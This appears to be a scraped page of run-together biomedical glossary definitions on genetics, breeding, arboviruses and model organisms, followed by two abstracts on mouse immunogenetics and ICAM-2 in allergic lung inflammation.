Crosses, Genetic: Deliberate breeding of two different individuals that results in offspring that carry part of the genetic material of each parent. The parent organisms must be genetically compatible and may be from different varieties or closely related species.La Crosse virus: A serotype of the species California encephalitis virus (ENCEPHALITIS VIRUS, CALIFORNIA), in the genus ORTHOBUNYAVIRUS, causing human MENINGOENCEPHALITIS. This is the agent most responsible for California encephalitis (ENCEPHALITIS, CALIFORNIA), the most prevalent mosquito-borne disease recognized in the United States.Encephalitis, California: A viral infection of the brain caused by serotypes of California encephalitis virus (ENCEPHALITIS VIRUS, CALIFORNIA) transmitted to humans by the mosquito AEDES triseriatus. The majority of cases are caused by the LA CROSSE VIRUS. This condition is endemic to the midwestern United States and primarily affects children between 5-10 years of age. Clinical manifestations include FEVER; VOMITING; HEADACHE; and abdominal pain followed by SEIZURES, altered mentation, and focal neurologic deficits. (From Joynt, Clinical Neurology, 1996, Ch26, p13)Encephalitis Virus, California: A species in the ORTHOBUNYAVIRUS genus of the family BUNYAVIRIDAE. Serotypes are found in temperate and arctic regions and each is closely associated with a single species of vector mosquito. The vertebrate hosts are usually small mammals but several serotypes infect humans.Hybridization, Genetic: The genetic process of crossbreeding between genetically dissimilar parents to produce a hybrid.Bunyaviridae: A family of viruses, mainly arboviruses, consisting of a single strand of RNA. Virions are enveloped particles 90-120 nm diameter. The complete family contains over 300 members arranged in five genera: ORTHOBUNYAVIRUS; HANTAVIRUS; NAIROVIRUS; PHLEBOVIRUS; and TOSPOVIRUS.Hybrid Vigor: The adaptive superiority of the heterozygous GENOTYPE with respect to one or more characters in comparison with the corresponding HOMOZYGOTE.Chromosome Mapping: Any method used for determining the location of and relative distances between genes on a chromosome.Breeding: The production of offspring by selective mating or HYBRIDIZATION, GENETIC in animals or plants.Quantitative Trait Loci: Genetic loci associated with a QUANTITATIVE TRAIT.Genetic Linkage: The co-inheritance of two or more non-allelic GENES due to their being located more or less closely on the same CHROMOSOME.Recombination, Genetic: Production of new arrangements of DNA by various mechanisms such as assortment and segregation, CROSSING OVER; GENE CONVERSION; GENETIC TRANSFORMATION; GENETIC CONJUGATION; GENETIC TRANSDUCTION; or mixed infection of viruses.Inbreeding: The mating of plants or non-human animals which are closely related genetically.Phenotype: The outward appearance of the individual. It is the product of interactions between genes, and between the GENOTYPE and the environment.Reproduction: The total process by which organisms produce offspring. (Stedman, 25th ed)Encephalitis Viruses: A collection of single-stranded RNA viruses scattered across the Bunyaviridae, Flaviviridae, and Togaviridae families whose common property is the ability to induce encephalitic conditions in infected hosts.Genetic Markers: A phenotypically recognizable genetic trait which can be used to identify a genetic locus, a linkage group, or a recombination event.Mutation: Any detectable and heritable change in the genetic material that causes a change in the GENOTYPE and which is transmitted to daughter cells and to succeeding generations.Encephalitis, Arbovirus: Infections of the brain caused by arthropod-borne viruses (i.e., arboviruses) primarily from the families TOGAVIRIDAE; FLAVIVIRIDAE; BUNYAVIRIDAE; REOVIRIDAE; and RHABDOVIRIDAE. Life cycles of these viruses are characterized by ZOONOSES, with birds and lower mammals serving as intermediate hosts. The virus is transmitted to humans by the bite of mosquitoes (CULICIDAE) or TICKS. Clinical manifestations include fever, headache, alterations of mentation, focal neurologic deficits, and COMA. (From Clin Microbiol Rev 1994 Jan;7(1):89-116; Walton, Brain's Diseases of the Nervous System, 10th ed, p321)Inheritance Patterns: The different ways GENES and their ALLELES interact during the transmission of genetic traits that effect the outcome of GENE EXPRESSION.Alleles: Variant forms of the same gene, occupying the same locus on homologous CHROMOSOMES, and governing the variants in production of the same gene product.Species Specificity: The restriction of a characteristic behavior, anatomical structure or physical system, such as immune response; metabolic response, or gene or gene variant to the members of one species. It refers to that property which differentiates one species from another but it is also used for phylogenetic levels higher or lower than the species.Models, Genetic: Theoretical representations that simulate the behavior or activity of genetic processes or phenomena. They include the use of mathematical equations, computers, and other electronic equipment.Genotype: The genetic constitution of the individual, comprising the ALLELES present at each GENETIC LOCUS.Quantitative Trait, Heritable: A characteristic showing quantitative inheritance such as SKIN PIGMENTATION in humans. (From A Dictionary of Genetics, 4th ed)Reproductive Isolation: Mechanisms that prevent different populations from exchanging genes (GENE FLOW), resulting in or maintaining GENETIC SPECIATION. It can either prevent mating to take place or ensure that any offspring produced is either inviable or sterile, thereby preventing further REPRODUCTION.Fertility: The capacity to conceive or to induce conception. It may refer to either the male or female.Least-Squares Analysis: A principle of estimation in which the estimates of a set of parameters in a statistical model are those quantities minimizing the sum of squared differences between the observed values of a dependent variable and the values predicted by the model.Mice, Inbred Strains: Genetically identical individuals developed from brother and sister matings which have been carried out for twenty or more generations, or by parent x offspring matings carried out with certain restrictions. All animals within an inbred strain trace back to a common ancestor in the twentieth generation.Weaning: Permanent deprivation of breast milk and commencement of nourishment with other food. (From Stedman, 25th ed)Seeds: The encapsulated embryos of flowering plants. They are used as is or for animal feed because of the high content of concentrated nutrients like starches, proteins, and fats. Rapeseed, cottonseed, and sunflower seed are also produced for the oils (fats) they yield.Genetic Variation: Genotypic differences observed among individuals in a population.Polyploidy: The chromosomal constitution of a cell containing multiples of the normal number of CHROMOSOMES; includes triploidy (symbol: 3N), tetraploidy (symbol: 4N), etc.Pollen: The fertilizing element of plants that contains the male GAMETOPHYTES.Chromosomes, Plant: Complex nucleoprotein structures which contain the genomic DNA and are part of the CELL NUCLEUS of PLANTS.Chromosomes, Mammalian: Complex nucleoprotein structures which contain the genomic DNA and are part of the CELL NUCLEUS of MAMMALS.Diploidy: The chromosomal constitution of cells, in which each type of CHROMOSOME is represented twice. Symbol: 2N or 2X.Genes: A category of nucleic acid sequences that function as units of heredity and which code for the basic instructions for the development, reproduction, and maintenance of organisms.Chromosomes: In a prokaryotic cell or in the nucleus of a eukaryotic cell, a structure consisting of or containing DNA which carries the genetic information essential to the cell. (From Singleton & Sainsbury, Dictionary of Microbiology and Molecular Biology, 2d ed)Nelumbo: A plant genus of the family NELUMBONACEAE. The common name of lotus is also for LOTUS and NYMPHAEA.Epistasis, Genetic: A form of gene interaction whereby the expression of one gene interferes with or masks the expression of a different gene or genes. Genes whose expression interferes with or masks the effects of other genes are said to be epistatic to the effected genes. Genes whose expression is affected (blocked or masked) are hypostatic to the interfering genes.Genes, Plant: The functional hereditary units of PLANTS.Wolbachia: A genus of bacteria comprised of a heterogenous group of gram-negative small rods and coccoid forms associated with arthropods. (From Bergey's Manual of Systematic Bacteriology, vol 1, 1984)Conjugation, Genetic: A parasexual process in BACTERIA; ALGAE; FUNGI; and ciliate EUKARYOTA for achieving exchange of chromosome material during fusion of two cells. In bacteria, this is a uni-directional transfer of genetic material; in protozoa it is a bi-directional exchange. In algae and fungi, it is a form of sexual reproduction, with the union of male and female gametes.Chimera: An individual that contains cell populations derived from different zygotes.Heterozygote: An individual having different alleles at one or more loci regarding a specific character.Pollination: The transfer of POLLEN grains (male gametes) to the plant ovule (female gamete).Muridae: A family of the order Rodentia containing 250 genera including the two genera Mus (MICE) and Rattus (RATS), from which the laboratory inbred strains are developed. The fifteen subfamilies are SIGMODONTINAE (New World mice and rats), CRICETINAE, Spalacinae, Myospalacinae, Lophiomyinae, ARVICOLINAE, Platacanthomyinae, Nesomyinae, Otomyinae, Rhizomyinae, GERBILLINAE, Dendromurinae, Cricetomyinae, MURINAE (Old World mice and rats), and Hydromyinae.Gibberella: A genus of ascomycetous fungi of the family Hypocreaceae, order Hypocreales including several pathogens of grains and cereals. It is also the source of plant growth regulators such as gibberellin and gibberellic acid.Extrachromosomal Inheritance: Vertical transmission of hereditary characters by DNA from cytoplasmic organelles such as MITOCHONDRIA; CHLOROPLASTS; and PLASTIDS, or from PLASMIDS or viral episomal DNA.Neurospora crassa: A species of ascomycetous fungi of the family Sordariaceae, order SORDARIALES, much used in biochemical, genetic, and physiologic studies.Genome, Plant: The genetic complement of a plant (PLANTS) as represented in its DNA.Aedes: A genus of mosquitoes (CULICIDAE) frequently found in tropical and subtropical regions. YELLOW FEVER and DENGUE are two of the diseases that can be transmitted by species of this genus.Crossing Over, Genetic: The reciprocal exchange of segments at corresponding positions along pairs of homologous CHROMOSOMES by symmetrical breakage and crosswise rejoining forming cross-over sites (HOLLIDAY JUNCTIONS) that are resolved during CHROMOSOME SEGREGATION. Crossing-over typically occurs during MEIOSIS but it may also occur in the absence of meiosis, for example, with bacterial chromosomes, organelle chromosomes, or somatic cell nuclear chromosomes.Genetic Complementation Test: A test used to determine whether or not complementation (compensation in the form of dominance) will occur in a cell with a given mutant phenotype when another mutant genome, encoding the same mutant phenotype, is introduced into that cell.Genetics: The branch of science concerned with the means and consequences of transmission and generation of the components of biological inheritance. (Stedman, 26th ed)Transduction, Genetic: The transfer of bacterial DNA by phages from an infected bacterium to another bacterium. This also refers to the transfer of genes into eukaryotic cells by viruses. This naturally occurring process is routinely employed as a GENE TRANSFER TECHNIQUE.Base Sequence: The sequence of PURINES and PYRIMIDINES in nucleic acids and polynucleotides. It is also called nucleotide sequence.Molecular Sequence Data: Descriptions of specific amino acid, carbohydrate, or nucleotide sequences which have appeared in the published literature and/or are deposited in and maintained by databanks such as GENBANK, European Molecular Biology Laboratory (EMBL), National Biomedical Research Foundation (NBRF), or other sequence repositories.Plantago: A plant genus of the family Plantaginaceae. The small plants usually have a dense tuft of basal leaves and long, leafless stalks bearing a terminal spike of small flowers. The seeds, known as PSYLLIUM, swell in water and are used as laxatives. The leaves have been used medicinally.Genes, Mating Type, Fungal: Fungal genes that mostly encode TRANSCRIPTION FACTORS. In some FUNGI they also encode PHEROMONES and PHEROMONE RECEPTORS. The transcription factors control expression of specific proteins that give a cell its mating identity. Opposite mating type identities are required for mating.Spores, Fungal: Reproductive bodies produced by fungi.Zea mays: A plant species of the family POACEAE. It is a tall grass grown for its EDIBLE GRAIN, corn, used as food and animal FODDER.Chromosomes, Bacterial: Structures within the nucleus of bacterial cells consisting of or containing DNA, which carry genetic information essential to the cell.Selection, Genetic: Differential and non-random reproduction of different genotypes, operating to alter the gene frequencies within a population.Cattle: Domesticated bovine animals of the genus Bos, usually kept on a farm or ranch and used for the production of meat or dairy products or for heavy labor.Homozygote: An individual in which both alleles at a given locus are identical.Tetraploidy: The presence of four sets of chromosomes. It is associated with ABNORMALITIES, MULTIPLE; and MISCARRAGES.Crops, Agricultural: Cultivated plants or agricultural produce such as grain, vegetables, or fruit. (From American Heritage Dictionary, 1982)Neurospora: A genus of ascomycetous fungi, family Sordariaceae, order SORDARIALES, comprising bread molds. They are capable of converting tryptophan to nicotinic acid and are used extensively in genetic and enzyme research. (Dorland, 27th ed)Ascomycota: A phylum of fungi which have cross-walls or septa in the mycelium. The perfect state is characterized by the formation of a saclike cell (ascus) containing ascospores. Most pathogenic fungi with a known perfect state belong to this phylum.Blood-Brain Barrier: Specialized non-fenestrated tightly-joined ENDOTHELIAL CELLS with TIGHT JUNCTIONS that form a transport barrier for certain substances between the cerebral capillaries and the BRAIN tissue.Genes, Dominant: Genes that influence the PHENOTYPE both in the homozygous and the heterozygous state.Pigmentation: Coloration or discoloration of a part by a pigment.X Chromosome: The female sex chromosome, being the differential sex chromosome carried by half the male gametes and all female gametes in human and other male-heterogametic species.Transcytosis: The transport of materials through a cell. It includes the uptake of materials by the cell (ENDOCYTOSIS), the movement of those materials through the cell, and the subsequent secretion of those materials (EXOCYTOSIS).Meiosis: A type of CELL NUCLEUS division, occurring during maturation of the GERM CELLS. Two successive cell nucleus divisions following a single chromosome duplication (S PHASE) result in daughter cells with half the number of CHROMOSOMES as the parent cells.DNA, Plant: Deoxyribonucleic acid that makes up the genetic material of plants.Culicidae: A family of the order DIPTERA that comprises the mosquitoes. The larval stages are aquatic, and the adults can be recognized by the characteristic WINGS, ANIMAL venation, the scales along the wing veins, and the long proboscis. Many species are of particular medical importance.Flowers: The reproductive organs of plants.Germ Cells, Plant: The reproductive cells of plants.Haploidy: The chromosomal constitution of cells, in which each type of CHROMOSOME is represented once. Symbol: N.Sex Ratio: The number of males per 100 females.Arboviruses: Arthropod-borne viruses. A non-taxonomic designation for viruses that can replicate in both vertebrate hosts and arthropod vectors. Included are some members of the following families: ARENAVIRIDAE; BUNYAVIRIDAE; REOVIRIDAE; TOGAVIRIDAE; and FLAVIVIRIDAE. (From Dictionary of Microbiology and Molecular Biology, 2nd ed)Ploidies: The degree of replication of the chromosome set in the karyotype.Genetics, Population: The discipline studying genetic composition of populations and effects of factors such as GENETIC SELECTION, population size, MUTATION, migration, and GENETIC DRIFT on the frequencies of various GENOTYPES and PHENOTYPES using a variety of GENETIC TECHNIQUES.Genes, Lethal: Genes whose loss of function or gain of function MUTATION leads to the death of the carrier prior to maturity. They may be essential genes (GENES, ESSENTIAL) required for viability, or genes which cause a block of function of an essential gene at a time when the essential gene function is required for viability.Body Weight: The mass or quantity of heaviness of an individual. It is expressed by units of pounds or kilograms.Drosophila melanogaster: A species of fruit fly much used in genetics because of the large size of its chromosomes.Ochlerotatus: A genus of mosquitoes in the family CULICIDAE. A large number of the species are found in the neotropical part of the Americas.Genes, Recessive: Genes that influence the PHENOTYPE only in the homozygous state.Saxifragaceae: The saxifrage plant family of the order ROSALES, subclass Rosidae, class Magnoliopsida. The leaves are alternate and sometimes deeply lobed or form rosettes. The flowers have both male and female parts and 4 or 5 sepals and petals; they are usually in branched clusters. The fruit is a capsule with many seeds.Plant Infertility: The failure of PLANTS to complete fertilization and obtain seed (SEEDS) as a result of defective POLLEN or ovules, or other aberrations. (Dict. of Plant Genet. and Mol. Biol., 1998)TennesseeLitter Size: The number of offspring produced at one birth by a viviparous animal.Sex Chromosomes: The homologous chromosomes that are dissimilar in the heterogametic sex. There are the X CHROMOSOME, the Y CHROMOSOME, and the W, Z chromosomes (in animals in which the female is the heterogametic sex (the silkworm moth Bombyx mori, for example)). In such cases the W chromosome is the female-determining and the male is ZZ. (From King & Stansfield, A Dictionary of Genetics, 4th ed)Genes, Fungal: The functional hereditary units of FUNGI.Self-Fertilization: The fusion of a male gamete with a female gamete from the same individual animal or plant.DNA, Mitochondrial: Double-stranded DNA of MITOCHONDRIA. In eukaryotes, the mitochondrial GENOME is circular and codes for ribosomal RNAs, transfer RNAs, and about 10 proteins.Biological Evolution: The process of cumulative change over successive generations through which organisms acquire their distinguishing morphological and physiological characteristics.DNA Transposable Elements: Discrete segments of DNA which can excise and reintegrate to another site in the genome. Most are inactive, i.e., have not been found to exist outside the integrated state. DNA transposable elements include bacterial IS (insertion sequence) elements, Tn elements, the maize controlling elements Ac and Ds, Drosophila P, gypsy, and pogo elements, the human Tigger elements and the Tc and mariner elements which are found throughout the animal kingdom.Microsatellite Repeats: A variety of simple repeat sequences that are distributed throughout the GENOME. They are characterized by a short repeat unit of 2-8 basepairs that is repeated up to 100 times. They are also known as short tandem repeats (STRs).Mimulus: A plant genus of the family Phrymaceae. Members contain 6-geranylflavanones and mimulone.Genomic Imprinting: The variable phenotypic expression of a GENE depending on whether it is of paternal or maternal origin, which is a function of the DNA METHYLATION pattern. Imprinted regions are observed to be more methylated and less transcriptionally active. (Segen, Dictionary of Modern Medicine, 1992)Drosophila: A genus of small, two-winged flies containing approximately 900 described species. These organisms are the most extensively studied of all genera from the standpoint of genetics and cytology.Brachiaria: A plant genus of the family POACEAE originating from the savanna of eastern Africa. It is widely grown for livestock forage.Ranunculus: A plant genus of the family RANUNCULACEAE that contains protoanemonin, anemonin, and ranunculin.Arabidopsis: A plant genus of the family BRASSICACEAE that contains ARABIDOPSIS PROTEINS and MADS DOMAIN PROTEINS. The species A. thaliana is used for experiments in classical plant genetics as well as molecular genetic studies in plant physiology, biochemistry, and development.Triticum: A plant genus of the family POACEAE that is the source of EDIBLE GRAIN. A hybrid with rye (SECALE CEREALE) is called TRITICALE. The seed is ground into FLOUR and used to make BREAD, and is the source of WHEAT GERM AGGLUTININS.Helianthus: A genus herbs of the Asteraceae family. The SEEDS yield oil and are used as food and animal feed; the roots of Helianthus tuberosus (Jerusalem artichoke) are edible.Escherichia coli: A species of gram-negative, facultatively anaerobic, rod-shaped bacteria (GRAM-NEGATIVE FACULTATIVELY ANAEROBIC RODS) commonly found in the lower part of the intestine of warm-blooded animals. It is usually nonpathogenic, but some strains are known to produce DIARRHEA and pyogenic infections. Pathogenic strains (virotypes) are classified by their specific pathogenic mechanisms such as toxins (ENTEROTOXIGENIC ESCHERICHIA COLI), etc.Plant Diseases: Diseases of plants.Genetic Loci: Specific regions that are mapped within a GENOME. Genetic loci are usually identified with a shorthand notation that indicates the chromosome number and the position of a specific band along the P or Q arm of the chromosome where they are found. For example the locus 6p21 is found within band 21 of the P-arm of CHROMOSOME 6. Many well known genetic loci are also known by common names that are associated with a genetic function or HEREDITARY DISEASE.Mice, Inbred C57BLLysogeny: The phenomenon by which a temperate phage incorporates itself into the DNA of a bacterial host, establishing a kind of symbiotic relation between PROPHAGE and bacterium which results in the perpetuation of the prophage in all the descendants of the bacterium. Upon induction (VIRUS ACTIVATION) by various agents, such as ultraviolet radiation, the phage is released, which then becomes virulent and lyses the bacterium.Gonadal Dysgenesis: A number of syndromes with defective gonadal developments such as streak GONADS and dysgenetic testes or ovaries. The spectrum of gonadal and sexual abnormalities is reflected in their varied sex chromosome (SEX CHROMOSOMES) constitution as shown by the karyotypes of 45,X monosomy (TURNER SYNDROME); 46,XX (GONADAL DYSGENESIS, 46XX); 46,XY (GONADAL DYSGENESIS, 46,XY); and sex chromosome MOSAICISM; (GONADAL DYSGENESIS, MIXED). Their phenotypes range from female, through ambiguous, to male. This concept includes gonadal agenesis.Bunyamwera virus: A species in the ORTHOBUNYAVIRUS genus of the family BUNYAVIRIDAE. A large number of serotypes or strains exist in many parts of the world. They are transmitted by mosquitoes and infect humans in some areas.Mice, Inbred AKRCicer: A plant genus of the family FABACEAE known for the edible beans.Meat: The edible portions of any animal used for food including domestic mammals (the major ones being cattle, swine, and sheep) along with poultry, fish, shellfish, and game.Pennisetum: A plant genus of the family POACEAE. The seed is one of the millets used in EDIBLE GRAIN. It contains vitexin. The common name of buffelgrass is also used for CENCHRUS.Fertilization: The fusion of a spermatozoon (SPERMATOZOA) with an OVUM thus resulting in the formation of a ZYGOTE.Endosperm: Nutritive tissue of the seeds of flowering plants that surrounds the EMBRYOS. It is produced by a parallel process of fertilization in which a second male gamete from the pollen grain fuses with two female nuclei within the embryo sac. The endosperm varies in ploidy and contains reserves of starch, oils, and proteins, making it an important source of human nutrition.Polymorphism, Genetic: The regular and simultaneous occurrence in a single interbreeding population of two or more discontinuous genotypes. The concept includes differences in genotypes ranging in size from a single nucleotide site (POLYMORPHISM, SINGLE NUCLEOTIDE) to large nucleotide sequences visible at a chromosomal level.Temperature: The property of objects that determines the direction of heat flow when they are placed in direct thermal contact. The temperature is the energy of microscopic motions (vibrational and translational) of the particles of atoms.Genetics, Microbial: A subdiscipline of genetics which deals with the genetic mechanisms and processes of microorganisms.Genetic Speciation: The splitting of an ancestral species into daughter species that coexist in time (King, Dictionary of Genetics, 6th ed). Causal factors may include geographic isolation, HABITAT geometry, migration, REPRODUCTIVE ISOLATION, random GENETIC DRIFT and MUTATION.Apomixis: Asexual reproduction resulting in the formation of viable seeds from FLOWERS without fertlization (i.e. use of POLLEN). Progeny plants produced from apomictic seeds are perfect clones of the parent.DNA, Fungal: Deoxyribonucleic acid that makes up the genetic material of fungi.Solanum: A plant genus of the family SOLANACEAE. Members contain SOLANACEOUS ALKALOIDS. Some species in this genus are called deadly nightshade which is also a common name for ATROPA BELLADONNA.Silene: A plant genus of the family CARYOPHYLLACEAE. The common name of campion is also used with LYCHNIS. The common name of 'pink' can be confused with other plants.Copepoda: A huge subclass of mostly marine CRUSTACEA, containing over 14,000 species. The 10 orders comprise both planktonic and benthic organisms, and include both free-living and parasitic forms. Planktonic copepods form the principle link between PHYTOPLANKTON and the higher trophic levels of the marine food chains.Mice, Inbred DBAInfertility: Inability to reproduce after a specified period of unprotected intercourse. Reproductive sterility is permanent infertility.Taraxacum: A plant genus of the family ASTERACEAE. Members contain chicoric and chlorogenic acids and germacrane- and eudesmane-type SESQUITERPENES.Lod Score: The total relative probability, expressed on a logarithmic scale, that a linkage relationship exists among selected loci. Lod is an acronym for "logarithmic odds."Transformation, Genetic: Change brought about to an organisms genetic composition by unidirectional transfer (TRANSFECTION; TRANSDUCTION, GENETIC; CONJUGATION, GENETIC, etc.) and incorporation of foreign DNA into prokaryotic or eukaryotic cells by recombination of part or all of that DNA into the cell's genome.Ovule: The element in plants that contains the female GAMETOPHYTES.Zygote: The fertilized OVUM resulting from the fusion of a male and a female gamete.Angiosperms: Members of the group of vascular plants which bear flowers. They are differentiated from GYMNOSPERMS by their production of seeds within a closed chamber (OVARY, PLANT). The Angiosperms division is composed of two classes, the monocotyledons (Liliopsida) and dicotyledons (Magnoliopsida). Angiosperms represent approximately 80% of all known living plants.West VirginiaCitrullus: A plant genus of the family CUCURBITACEAE known for the edible fruit.Triatominae: A subfamily of assassin bugs (REDUVIIDAE) that are obligate blood-suckers of vertebrates. Included are the genera TRIATOMA; RHODNIUS; and PANSTRONGYLUS, which are vectors of TRYPANOSOMA CRUZI, the agent of CHAGAS DISEASE in humans.Sexual Behavior, Animal: Sexual activities of animals.Oryza sativa: Annual cereal grass of the family POACEAE and its edible starchy grain, rice, which is the staple food of roughly one-half of the world's population.Polymerase Chain Reaction: In vitro method for producing large amounts of specific DNA or RNA fragments of defined length and sequence from small amounts of short oligonucleotide flanking sequences (primers). The essential steps include thermal denaturation of the double-stranded target molecules, annealing of the primers to their complementary sequences, and extension of the annealed primers by enzymatic synthesis with DNA polymerase. The reaction is efficient, specific, and extremely sensitive. Uses for the reaction include disease diagnosis, detection of difficult-to-isolate pathogens, mutation analysis, genetic testing, DNA sequencing, and analyzing evolutionary relationships.Pregnancy: The status during which female mammals carry their developing young (EMBRYOS or FETUSES) in utero before birth, beginning from FERTILIZATION to BIRTH.Animal Husbandry: The science of breeding, feeding and care of domestic animals; includes housing and nutrition.Polymorphism, Restriction Fragment Length: Variation occurring within a species in the presence or length of DNA fragment generated by a specific endonuclease at a specific site in the genome. Such variations are generated by mutations that create or abolish recognition sites for these enzymes or change the length of the fragment.Sequence Analysis, DNA: A multistage process that includes cloning, physical mapping, subcloning, determination of the DNA SEQUENCE, and information analysis.Turnera: A plant genus of the family Turneraceae, order Violales, subclass Dilleniidae, class Magnoliopsida.Germination: The initial stages of the growth of SEEDS into a SEEDLINGS. The embryonic shoot (plumule) and embryonic PLANT ROOTS (radicle) emerge and grow upwards and downwards respectively. Food reserves for germination come from endosperm tissue within the seed and/or from the seed leaves (COTYLEDON). (Concise Dictionary of Biology, 1990)Sus scrofa: A species of SWINE, in the family Suidae, comprising a number of subspecies including the domestic pig Sus scrofa domestica.Dystocia: Slow or difficult OBSTETRIC LABOR or CHILDBIRTH.DNA Primers: Short sequences (generally about 10 base pairs) of DNA that are complementary to sequences of messenger RNA and allow reverse transcriptases to start copying the adjacent sequences of mRNA. Primers are used extensively in genetic and molecular biology techniques.Genes, Viral: The functional hereditary units of VIRUSES.Maternal-Fetal Exchange: Exchange of substances between the maternal blood and the fetal blood at the PLACENTA via PLACENTAL CIRCULATION. The placental barrier excludes microbial or viral transmission.Birth Weight: The mass or quantity of heaviness of an individual at BIRTH. It is expressed by units of pounds or kilograms.Chromosome Segregation: The orderly segregation of CHROMOSOMES during MEIOSIS or MITOSIS.Ecotype: Geographic variety, population, or race, within a species, that is genetically adapted to a particular habitat. An ecotype typically exhibits phenotypic differences but is capable of interbreeding with other ecotypes.Suppression, Genetic: Mutation process that restores the wild-type PHENOTYPE in an organism possessing a mutationally altered GENOTYPE. The second "suppressor" mutation may be on a different gene, on the same gene but located at a distance from the site of the primary mutation, or in extrachromosomal genes (EXTRACHROMOSOMAL INHERITANCE).Coliphages: Viruses whose host is Escherichia coli.Haplotypes: The genetic constitution of individuals with respect to one member of a pair of allelic genes, or sets of genes that are closely linked and tend to be inherited together such as those of the MAJOR HISTOCOMPATIBILITY COMPLEX.Genome: The genetic complement of an organism, including all of its GENES, as represented in its DNA, or in some cases, its RNA.Plant Leaves: Expanded structures, usually green, of vascular plants, characteristically consisting of a bladelike expansion attached to a stem, and functioning as the principal organ of photosynthesis and transpiration. (American Heritage Dictionary, 2d ed)Weight Gain: Increase in BODY WEIGHT over existing weight.Benomyl: A systemic agricultural fungicide used for control of certain fungal diseases of stone fruit.Sex Determination Processes: The mechanisms by which the SEX of an individual's GONADS are fixed.Bacteriophage lambda: A temperate inducible phage and type species of the genus lambda-like viruses, in the family SIPHOVIRIDAE. Its natural host is E. coli K12. Its VIRION contains linear double-stranded DNA with single-stranded 12-base 5' sticky ends. The DNA circularizes on infection.Y Chromosome: The male sex chromosome, being the differential sex chromosome carried by half the male gametes and none of the female gametes in humans and in some other male-heterogametic species in which the homologue of the X chromosome has been retained.Genetic Fitness: The capability of an organism to survive and reproduce. The phenotypic expression of the genotype in a particular environment determines how genetically fit an organism will be.Chlamydomonas: A genus GREEN ALGAE in the order VOLVOCIDA. It consists of solitary biflagellated organisms common in fresh water and damp soil.Mice, Inbred C3HAnalysis of Variance: A statistical technique that isolates and assesses the contributions of categorical independent variables to variation in the mean of a continuous dependent variable.Drug Resistance, Microbial: The ability of microorganisms, especially bacteria, to resist or to become tolerant to chemotherapeutic agents, antimicrobial agents, or antibiotics. This resistance may be acquired through gene mutation or foreign DNA in transmissible plasmids (R FACTORS).Plants, Genetically Modified: PLANTS, or their progeny, whose GENOME has been altered by GENETIC ENGINEERING.Insect Vectors: Insects that transmit infective organisms from one host to another or from an inanimate reservoir to an animate host.Aspergillus nidulans: A species of imperfect fungi from which the antibiotic nidulin is obtained. Its teleomorph is Emericella nidulans.WisconsinPhylogeny: The relationships of groups of organisms as reflected by their genetic makeup.Amplified Fragment Length Polymorphism Analysis: The detection of RESTRICTION FRAGMENT LENGTH POLYMORPHISMS by selective PCR amplification of restriction fragments derived from genomic DNA followed by electrophoretic analysis of the amplified restriction fragments.Gene Expression Regulation, Plant: Any of the processes by which nuclear, cytoplasmic, or intercellular factors influence the differential control of gene action in plants.Salmonella typhimurium: A serotype of Salmonella enterica that is a frequent agent of Salmonella gastroenteritis in humans. It also causes PARATYPHOID FEVER.Basidiomycota: A phylum of fungi that produce their sexual spores (basidiospores) on the outside of the basidium. It includes forms commonly known as mushrooms, boletes, puffballs, earthstars, stinkhorns, bird's-nest fungi, jelly fungi, bracket or shelf fungi, and rust and smut fungi.Gene Flow: The change in gene frequency in a population due to migration of gametes or individuals (ANIMAL MIGRATION) across population barriers. In contrast, in GENETIC DRIFT the cause of gene frequency changes are not a result of population or gamete movement.Environment: The external elements and conditions which surround, influence, and affect the life and development of an organism or population.Brassica rapa: A plant species cultivated for the seed used as animal feed and as a source of canola cooking oil.Cytoplasm: The part of a cell that contains the CYTOSOL and small structures excluding the CELL NUCLEUS; MITOCHONDRIA; and large VACUOLES. (Glick, Glossary of Biochemistry and Molecular Biology, 1990)Pactamycin: Antibiotic produced by Streptomyces pactum used as an antineoplastic agent. It is also used as a tool in biochemistry because it inhibits certain steps in protein synthesis.Self-Incompatibility in Flowering Plants: One of many different processes which occur in ANGIOSPERMS by which genetic diversity is maintained while INBREEDING is prevented.Nucleic Acid Heteroduplexes: Double-stranded nucleic acid molecules (DNA-DNA or DNA-RNA) which contain regions of nucleotide mismatches (non-complementary). In vivo, these heteroduplexes can result from mutation or genetic recombination; in vitro, they are formed by nucleic acid hybridization. Electron microscopic analysis of the resulting heteroduplexes facilitates the mapping of regions of base sequence homology of nucleic acids.Plasmids: Extrachromosomal, usually CIRCULAR DNA molecules that are self-replicating and transferable from one organism to another. They are found in a variety of bacterial, archaeal, fungal, algal, and plant species. They are used in GENETIC ENGINEERING as CLONING VECTORS.Viral Proteins: Proteins found in any species of virus.Exodeoxyribonuclease V: An ATP-dependent exodeoxyribonuclease that cleaves in either the 5'- to 3'- or the 3'- to 5'-direction to yield 5'-phosphooligonucleotides. It is primarily found in BACTERIA.Gene Frequency: The proportion of one particular in the total of all ALLELES for one genetic locus in a breeding POPULATION.Cyprinodontiformes: An order of fish with eight families and numerous species of both egg-laying and livebearing fish. Families include Cyprinodontidae (egg-laying KILLIFISHES;), FUNDULIDAEl; (topminnows), Goodeidae (Mexican livebearers), Jenynsiidae (jenynsiids), Poeciliidae (livebearers), Profundulidae (Middle American killifishes), Aplocheilidae, and Rivulidae (rivulines). In the family Poeciliidae, the guppy and molly belong to the genus POECILIA.Adaptation, Physiological: The non-genetic biological changes of an organism in response to challenges in its ENVIRONMENT.

Features of the immune response to DNA in mice. I. Genetic control. (1/9064)

The genetic control of the immune response to DNA was studied in various strains of mice F1 hybrids and corresponding back-crosses immunized with single stranded DNA complexed to methylated bovine serum albumin. Anti-DNA antibody response was measured by radioimmuno-logical technique. High responder, low responder, and intermediate responder strains were found and the ability to respond to DNA was characterized as a dominant genetic trait which is not linked to the major locus of histocompatibility. Studies in back-crosses suggested that this immune response is under multigenic control. High responder mice produce both anti-double stranded DNA and anti-single stranded DNA 7S and 19S antibodies, while low responder mice produce mainly anti-single stranded DNA 19S antibodies.  (+info)

Prolonged eosinophil accumulation in allergic lung interstitium of ICAM-2 deficient mice results in extended hyperresponsiveness. (2/9064)

ICAM-2-deficient mice exhibit prolonged accumulation of eosinophils in lung interstitium concomitant with a delayed increase in eosinophil numbers in the airway lumen during the development of allergic lung inflammation. The ICAM-2-dependent increased and prolonged accumulation of eosinophils in lung interstitium results in prolonged, heightened airway hyperresponsiveness. These findings reveal an essential role for ICAM-2 in the development of the inflammatory and respiratory components of allergic lung disease. This phenotype is caused by the lack of ICAM-2 expression on non-hematopoietic cells. ICAM-2 deficiency on endothelial cells causes reduced eosinophil transmigration in vitro. ICAM-2 is not essential for lymphocyte homing or the development of leukocytes, with the exception of megakaryocyte progenitors, which are significantly reduced.  (+info)

